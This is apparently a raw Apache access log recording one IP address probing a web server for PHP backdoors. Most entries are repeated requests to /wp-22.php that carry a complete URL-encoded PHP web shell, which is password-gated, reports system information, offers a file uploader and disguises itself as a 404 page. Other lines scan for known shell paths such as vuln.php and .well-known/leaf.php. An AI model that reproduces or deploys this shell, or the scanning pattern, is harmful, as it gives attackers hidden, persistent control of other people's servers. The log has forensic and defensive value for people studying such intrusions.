28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:47 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:47 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:47 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:47 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:47 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:47 +0530] "GET /a.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:47 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:47 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:47 +0530] "GET /r.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:47 +0530] "GET /Gel.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:47 +0530] "GET /templates/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 262 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:47 +0530] "GET /s.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:47 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:47 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:48 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:49 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:49 +0530] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 302 255 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:50 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:50 +0530] "GET /vuln.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:50 +0530] "GET /.well-known/leaf.php HTTP/1.1" 302 240 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - 